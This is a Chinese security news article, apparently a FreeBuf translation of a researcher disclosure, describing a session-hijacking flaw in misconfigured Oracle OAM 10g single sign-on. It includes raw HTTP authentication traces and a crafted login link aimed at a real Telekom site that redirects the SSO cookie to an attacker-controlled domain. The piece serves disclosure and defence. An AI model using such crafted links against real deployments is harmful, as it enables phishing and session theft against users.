Oracle OAM 10g被曝存在高危远程会话劫持漏洞(附PoC)首席安全官频道

高危远程会话劫持漏

高危远程会话劫持漏

Oracle下季度重要补丁更新将定于7月18日,首席安全官频道由于Oracle方面的主动忽略,此前由比利时安全研究者发现的Oracle访问管理组件(OAM)高危漏洞却不包括在此次补丁升级范围之内。该漏洞在于攻击者可利用配置不当的Oracle OAM 10g对用户进行会话劫持,或发起高级别的钓鱼攻击。据了解,几乎很多知名公司网站都未对Oracle OAM 10g正确配置使用,将大受影响。以下为比利时安全研究者对该漏洞的相关介绍:

简介

去年年底,我和同事参与了一个极具挑战性的安全评估项目,在项目中我们偶然发现了与Oracle OAM 10g相关的、一种包含18个不同资源访问请求的复杂单点登录(SSO)认证机制。通过对这些请求使用的cookie和参数进行分类分析后,我们发现,其中的 “ObSSOCookie”功能非常强大,可被用于各种Web应用程序中的身份认证。

Oracle OAM 认证流程

我们从下图了解一下Oracle的单点登录(SSO)认证方式:

高危远程会话劫持漏洞

高危远程会话劫持漏洞

从图中可知,当用户请求一个受保护的资源时(https://somewebsite.com/protected/),OAM服务器会简单验证资源是否受到保护(步骤1-2),之后,评估并返回资源保护策略,最终将对用户请求作出回应,并重定向到需要输入凭据信息的页面。

该过程中,涉及的HTTP请求/响应信息如下:

GET /protected/ HTTP/1.1 Accept: / 
Accept-Language: en-US 
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) 
Accept-Encoding: gzip, deflate 
Host: somewebsite.com 
Connection: Keep-Alive

HTTP/1.1 302 Redirect Content-Length: 0 
Location: ?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F
Server: Microsoft-IIS/7.5 
Set-Cookie: ObSSOCookie=loggedoutcontinue; httponly; path=/ 
X-Powered-By: ASP.NET 
Date: Fri, 09 Mar 2012 16:14:16 GMT

GET /oam/server/obrareq.cgi?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F HTTP/1.1 Accept: / 
Accept-Language: en-US 
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) 
Accept-Encoding: gzip, deflate 
Host: someotherdomain.com 
Connection: Keep-Alive

HTTP/1.1 200 OK Cache-Control: no-cache, no-store 
Date: Fri, 09 Mar 2012 16:16:55 GMT 
Pragma: no-cache 
Content-Length: 3326 
Content-Type: text/html; charset=UTF-8 
Expires: 0 
Set-Cookie: OAMREQ=VERSION4~KJTasxCSm1Z1LVGtpMwu5nJ3cwSYLNx1TGFLYN7tRq3Jr1Pin693MMCJJHQ6bPQL1vSxK3En%... 
X-ORACLE-DMS-ECID: bc0b467a62ba363a:-50e866c2:135cc4d3539:-8000-0000000000000ab5 
X-Powered-By: Servlet/2.5 JSP/2.1

OAM服务器会将OAMREQ cookie和位于请求资源https://somewebsite.com中的信息保存于用户浏览器中,这样在后续请求进行时,OAM服务器就知道用户正对哪个资源发起请求认证。

此时,用户将通过登录界面提交认证凭据或2FA信息,这为认证流程的第二部分: 

高危远程会话劫持漏洞

高危远程会话劫持漏洞

如上图所示,用户提交凭据,OAM服务器验证凭据并返回各种cookie,其中便包括成功登录后提供给用户的“ObSSoCookie”。

高危远程会话劫持漏洞

高危远程会话劫持漏洞

OAM服务器对用户提交的凭据进行验证时,如果凭据有效,OAM服务器将为用户提供一个cookie和一个有效的session会话,并将用户重定向访问至受保护的资源。 原始HTTP请求/响应如下所示:

POST /oam/server/auth_cred_submit HTTP/1.1 Accept: text/html, application/xhtml+xml, / 
Referer: ?wh%3Dsomewebsite.com%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Fsomewebsite.com%20ru%3D%252Fprotected%252F    
Accept-Language: en-US 
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) 
Content-Type: application/x-www-form-urlencoded 
Accept-Encoding: gzip, deflate 
Host: someotherdomain.com 
Content-Length: 67 
Connection: Keep-Alive 
Cache-Control: no-cache 
Cookie: OAMREQ=VERSION4~KJTasxCSm1Z1LVGtpMwu5nJ3cwSYLNx1TGFLYN7tRq3Jr1Pin693MMCJJHQ6bPQL1vSxK3En%...
username=User1&password=User123456&request_id=-8330979068306697433

HTTP/1.1 302 Moved Temporarily Connection: close 
Date: Fri, 09 Mar 2012 16:17:01 GMT 
Transfer-Encoding: chunked 
Location: ?cookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D%20redirectto=%252Fprotected%252F%20ssoCookie=httponly    
Set-Cookie: OAMID=VERSION4~C7Iz5I0rodPWWPLR82CoQg~bP8dGW/YVqe1NaHiCaZ3z6p2dbxVbpJpcSYMU6LVzUSBHp0C9OtSKbtvUlHHDsGImCi8KtAh3CLHXN+paF2+ZyxNOZOge2Mg2aH6vF8Wy2fUgIEYAVYjtVrP4bVTC0GpM7S6dt3XpjR/AHScYUdQNp5Olr5D3gSlBAnXWcyYxY9u/x620d5LHIYvBdZvqZzVsfAAV/5KovBKD/5wvhPWI/JDkYoUdT37VoaDp7BS1lOumUtTqzXkQTzMzAkLCzhS0M1NyCYTiT9904bIxfzhJw;    path=/; HttpOnly 
Set-Cookie: OAM_REQ=invalid; path=/; HttpOnly 
X-ORACLE-DMS-ECID: bc0b467a62ba363a:-50e866c2:135cc4d3539:-8000-0000000000000ab7 
X-Powered-By: Servlet/2.5 JSP/2.1

GET /obrar.cgi?cookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D%20redirectto=%252Fprotected%252F%20ssoCookie=httponly    HTTP/1.1 Accept: text/html, application/xhtml+xml, / 
Referer: ?wh%3Dalpha%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Falpha%20ru%3D%252Fprotected%252F    
Accept-Language: en-US 
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) 
Cookie: ObSSOCookie=loggedoutcontinue 
Accept-Encoding: gzip, deflate 
Connection: Keep-Alive 
Cache-Control: no-cache 
Host: somewebsite.com

GET /protected/ HTTP/1.1 Accept: text/html, application/xhtml+xml, / 
Referer: ?wh%3Dalpha%20wu%3D%2Fprotected%2F%20wo%3D1%20rh%3Dhttp%3A%2F%2Falpha%20ru%3D%252Fprotected%252F    
Accept-Language: en-US 
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) 
Cookie: ObSSOCookie=vBDzuSSiKglMEtxbyB1gBqe1aZvsE6WQhSF7%2Be%2FZ0DpntUvIXgPr79acpIo8FQ0V4mvuOrqn%2BGIendMpqPNgTuISUEDblFQjZKfNG4ixWaVW%2BitIr58w%2FvQ2kalnVL3zhKYAF2yU7rGyNolRifidAq7xW8%2BKQbyFq8GFAgga0Assv%2BxwGzvd%2FizmiXnx8cOD6KZBWGMtIeLBrJRBitqXoKgLZc6b2UuCc2VLkTufmlQdt0DZ7dOACr45efkrTSKgKhuqoykTsiKiGTIP4R2xe85TUfYYm%2F1i4E8p%2FdHmcD4tpJ4LRrslKI3MgDHj%2Ft1uq3ryhROxbcRBk2eM1Eo99QYNY6IOsFyo1sJA7YEkr7c%3D    
Accept-Encoding: gzip, deflate 
Connection: Keep-Alive 

Cache-Control: no-cache 
Host: somewebsite.com

HTTP/1.1 200 OK Cache-Control: no-cache,private 

Pragma: no-cache 
Content-Type: text/html 
Content-Encoding: gzip 
Vary: Accept-Encoding 
Server: Microsoft-IIS/7.5 
X-Powered-By: ASP.NET 
Date: Fri, 09 Mar 2012 16:14:22 GMT 
Content-Length: 2495

接下来,我们进入精彩部分。

会话劫持

您可能已经注意到上述请求/响应流中有一些明显的异常:

参数 ch= 为受保护资源的域名

通过一个GET请求发送的cookie,GET请求!

高危远程会话劫持漏洞

高危远程会话劫持漏洞

现在的问题是如何窃取该cookie值并劫持用户会话。

但根据Oracle文档,OAM服务器会对资源受保护状态进行验证。按理来说,当询问到一个不存在的资源时应该会发生请求失败。首先,让我们来构造一个发送到OAM服务器的请求:

https://<some domain>/oam/server/obrareq.cgi?wh=<some_internal_domain> wu=<some_webpage> wo=1 rh=http://localhost ru=/this/does/not/exist.html

我们向OAM服务器请求访问一个根本不存在的资源后,从OAM服务器收到一个OAMREQ cookie,OAM服务器将使用它来确定成功认证后,把回应信息发送给哪位用户!然而,这就有点问题了,为什么OAM服务器在用户对一个不存在的资源进行认证请求时,会返回一组有效的cooike?

在提交了用户凭据之后,我们收到了OAM服务器给出的如下重定向跳转:

?cookie=<LOOOOOOONG_COOKIE_VALUE>

想想,我们难道仅只是接收到了一个不存在资源的cookie吗?也许这个cookie只适用于,但我们能不能作点改动呢?我们把原先的GET请求:

?cookie=<LOOOOOOONG_COOKIE_VALUE>

更改为:

<valid_domain_of_proteced_resource>/obrar.cgi?cookie=<LOOOOOOONG_COOKIE_VALUE>

在其中加入了一个有效的资源域名。

高危远程会话劫持漏洞

高危远程会话劫持漏洞

现在,这就存在两种问题了:

设置开放重定向 (提交凭据后用户将可被发生特定的重定向访问)

获取GET请求中的cookie值(该值被将保存在Web服务器的日志文件中)

由于我们可以控制用户的重定向访问,还可以读取用户cookie值,因此就可以劫持用户会话。唯一需要做的就是诱使受害者点击我们的精心构造链接,进行登录,在此过程中,用户cookie就会悄无声息地成为我们的“囊中之物”。

全球受影响程度

一开始我们认为这只是OAM 10g的一种错误配置特例,但结果完全不是这样:经调查发现,全球数百家知名企业暴露的服务系统中都存在类似的错误配置问题,并可导致上述的会话劫持事件。在对100家知名公司网站进行分析后发现,只有1家公司针对此种攻击设置了专门防护机制。

我们打算找一家运行有漏洞赏金项目并存在此类漏洞的公司进行验证,最终德国电信成了我们的目标:https:// my.telekom.ro。用户希望访问my.telekom.ro网站,会得到一个如下访问链接A:

https://my.telekom.ro/oam/server/obrareq.cgi?wh%3DIAMSuiteAgent+wu%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+wo%3DGET+rh%3Dhttps%3A%2F%2Fmy.telekom.ro%3A443%2Fms_oauth%2Foauth2%2Fui%2Foauthservice+ru%3D%2Fms_oauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+rq%3Dresponse_type%253dcode%26client_id%253d98443c86e4cb4f9898de3f3820f8ee3c%26redirect_uri%253dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%26scope%253dUserProfileAntenaPlay.me%26oracle_client_name%253dAntenaPlay

点击以上链接后,用户会被重定向至以下登录页面B:

https://my.telekom.ro/ssologin/ssologin.jsp?contextType=external&username=string&OverrideRetryLimit=0&contextValue=%2Foam&password=sercure_string&challenge_url=https%3A%2F%2Fmy.telekom.ro%2Fssologin%2Fssologin.jsp&request_id=-9056979784527554593&authn_try_count=0&locale=nl_NL&resource_url=https%253A%252F%252Fmy.telekom.ro%253A443%252Fms_oauth%252Foauth2%252Fui%252Foauthservice%252Fshowconsent%253Fresponse_type%25253Dcode%252526client_id%25253D98443c86e4cb4f9898de3f3820f8ee3c%252526redirect_uri%25253Dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%252526scope%25253DUserProfileAntenaPlay.me%252526oracle_client_name%25253DAntenaPlay

如果我们在访问链接A中作出如下修改:

https://my.telekom.ro/oam/server/obrareq.cgi?wh%3DIAMSuiteAgent+wu%3D%2Fmsoauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+wo%3DGET+rh%3Dhttp%3A%2F%2Four_malicious_domain%2Fmsoauth%2Foauth2%2Fui%2Foauthservice+ru%3D%2Fmsoauth%2Foauth2%2Fui%2Foauthservice%2Fshowconsent+rq%3Dresponsetype%253dcode%26clientid%253d98443c86e4cb4f9898de3f3820f8ee3c%26redirecturi%253dhttp%25253A%25252F%25252Fantenaplay.ro%25252Ftkr%26scope%253dUserProfileAntenaPlay.me%26oracleclientname%253dAntenaPlay

之后,可以通过钓鱼邮件或其它方式诱使用户点击以上修改过的链接。该链接表面上看起来完全没什么异样,也并不像传统钓鱼手段一样在其中加入其它网页对用户凭据进行窃取,只是当用户在登录页面提交凭据后,会发生指向一个经设置的恶意域名302重定向跳转:。

之后,我们设置的服务器会对用户cookie进行窃取,最终我们的web服务器还会向受害者返回一个域名和cookie信息相对应的重定向链接,完成受害者最初的访问请求。此过程中,我们成功地实现会话劫持,之后,利用被窃用户cookie信息,可以以受害者身份进行登录,关键是,当攻击者和受害者同时登录后,两者的网络会话完全独立,而且受害者永远也察觉不到异样。

漏洞缓解措施

我们向Oracle报告了该漏洞之后,他们回复邮件认为这仅只是配置不当问题,WTF!并在其中简单地给出了两个参考性的缓解方案:

Our investigation shows that the issues had been addressed already. To mitigate this attack, please refer to a feature called SSODomains.

More information can be found here:

(search

for SSODomains) and at

#BABBJHEG

也就是说,如果你没定义SSODomain,该种攻击方式将造成对任何域名的有效会话,从而导致OAM用户的会话劫持。

PoC测试脚本

这是在Win10 64位环境测试成功,并设置在跳转域名Web服务器上的PoC攻击脚本:Oracle_PoC.py

演示视频

以下是对德国电信网站的漏洞测试视频:

?mod=success

CVSS评分

根据NIST最新的CVSSv3评分标准计算,该漏洞影响分值可达9.3分,而Oracle却选择置之不理,我们也是不懂了~~!

高危远程会话劫持漏洞

高危远程会话劫持漏洞

*参考来源:krbtgt,freebuf小编clouds编译,转载请注明来自FreeBuf.COM  

2017-07-18 16:26 阅读:644